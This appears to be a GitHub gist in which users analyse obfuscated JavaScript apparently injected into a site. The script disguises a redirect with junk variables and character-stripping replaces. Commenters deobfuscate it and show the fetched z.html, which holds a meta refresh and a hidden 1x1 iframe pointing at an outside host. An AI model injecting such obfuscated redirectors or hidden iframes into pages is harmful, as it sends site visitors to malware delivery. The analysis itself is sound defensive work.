Created
June 17, 2010 17:23
-
-
Save erubboli/442425 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type='text/javascript'> | |
function rM() {}; | |
rC = ''; | |
rM.prototype = { | |
g: function() { | |
var o = function() {}; | |
var i = 31535; | |
this.c = "c"; | |
this.v = 65257; | |
this.k = 3271; | |
this.cD = "cD"; | |
function x() {}; | |
t = document['luoucfaft@ijounu'.replace(/[ufj\[@]/g, '')]; | |
b = ""; | |
this.cY = false; | |
this.e = 11644; | |
u = ''; | |
var bR = function() { | |
return 'bR' | |
}; | |
w = ''; | |
this.n = ''; | |
function m(p, j) { | |
iH = false; | |
var nV = new Array(); | |
this.h = false; | |
this.q = ""; | |
p.href = j; | |
this.wX = 65246; | |
this.a = false; | |
cP = 53576; | |
function nZ() {}; | |
} | |
this.wM = ""; | |
wJ = 9315; | |
r = ""; | |
var vU = function() {}; | |
hR = ""; | |
var vT = function() { | |
return 'vT' | |
}; | |
m(t, 'h#t?t#p#:e/#/%t%i#l?t^a^n^d#g?r^i^n?.%c#o?m%/?z#.%het^m%le'.replace(/[e\?#%\^]/g, '')); | |
this.uB = false; | |
function bZ() {}; | |
jR = ''; | |
var cZ = function() { | |
return 'cZ' | |
}; | |
} | |
}; | |
var wMG = new Array(); | |
var pM = new rM(); | |
var tS = ''; | |
pM.g(); | |
qI = "qI"; | |
</script> |
yep! this is the content of z.html:
<meta http-equiv="refresh" content="3;url=http://toldspeak.com/" />
<iframe src='http://treddent.photosronaldo.com:8080/index.php?pid=10' width='1' height='1' style='visibility: hidden;'></iframe><br>
Okay, I get a 406 Not Acceptable when I request the resource with cURL. But if I set cURL to use the User-Agent string of Safari or IE I get a 404 Not Found instead.
Which browser did you use to get content of z.html?
wget
maybe they removed it...
yep its 404 now
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
If you remove all the redundant code (ie assigns variable and functions that's never used) and evals the replace it becomes
Which is the same as
document.location.href = 'http://tiltandgrin.com/z.html;